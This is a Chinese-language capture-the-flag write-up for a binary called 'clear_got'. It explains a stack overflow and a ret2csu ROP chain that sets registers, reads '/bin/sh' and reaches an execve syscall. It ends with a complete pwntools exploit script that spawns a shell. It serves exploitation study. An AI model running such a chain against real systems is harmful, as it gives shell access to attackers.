got表能覆写
没有canary pie
程序的逻辑很简单
一个栈溢出之后将got表全部清空。
给了两个系统调用。
那么我们的解题思路。
首先利用ret2csu来控制寄存器
payload = "a"*0x68
payload += p64(0x4007ea)
payload += p64(0xc01c8) #rbx
payload += p64(0xc01c9) #rbp
payload += p64(0) #r12
payload += p64(59) #rdx
payload += p64(0x601060) #rsi
payload += p64(0) #rdi
payload += p64(0x4007d0)
call的时候通过rbx r12来得到ret的地址
那么应该填哪呢?
我们选择
动态链接的时候会用到的一些函数这里
0x600e40这里会有一个init函数供我们使用
在控制r12与rbx的时候都可以
所以payload也可以这么写
payload = "a"*0x68
payload += p64(0x4007ea)
payload += p64(0) #rbx
payload += p64(0x1) #rbp
payload += p64(0x600e40) #r12
payload += p64(59) #rdx
payload += p64(0x601060) #rsi
payload += p64(0) #rdi
payload += p64(0x4007d0)
#ret2csu
还有一点要注意的是
在call的时候我们栈里的值发生了一点点变化
当然是因为那个地方是call压好的返回地址。
call的时候相当于push jump
当然会把返回地址压进去。
下面是_init的代码
将rax设成0之后init函数就没啥作用了
直接返回到call的后面。
出来之后呢会让rbx与rbp做一个比较
我们这里必须让他俩相等,这样会再次跳到控制寄存器的地方,否则
它会再次跳回去,下次call的时候因为rbx已经发生了变化,会导致下面崩掉。
所以我们通过第一次控制好所有寄存器之后,我们先read一下,读入的个数我们控制成51
也就是变相控制了rax
用控制好的r12想返回哪返回到哪
我们选择写binsh的时候后面顺便带上syscall地址
然后r12写成那个地址。
完成exp
# -*- coding: utf-8 -*-
from pwn import *
p = process("./clear_got")
context.log_level = "debug"
payload = "a"*0x68
payload += p64(0x4007ea)
payload += p64(0) #rbx
payload += p64(0x1) #rbp
payload += p64(0x600e40) #r12
payload += p64(59) #rdx
payload += p64(0x601060) #rsi
payload += p64(0) #rdi
payload += p64(0x4007d0)
#ret2csu
payload += "A"*8
payload += p64(0) #rbx
payload += p64(0) #rbp
payload += p64(0x601068) #r12
payload += p64(0) #r13 rdx
payload += p64(0) #r14 rs1
payload += p64(0x601060) #r15 rdi
payload += p64(0x40076e) #syscall
payload += p64(0) #rbp
payload += p64(0x4007d0) #
payload += "A"*8
p.send(payload)
payload = "/bin/sh\x00" + p64(0x40076e) + 43 * '\x00'
p.sendline(payload)
p.interactive()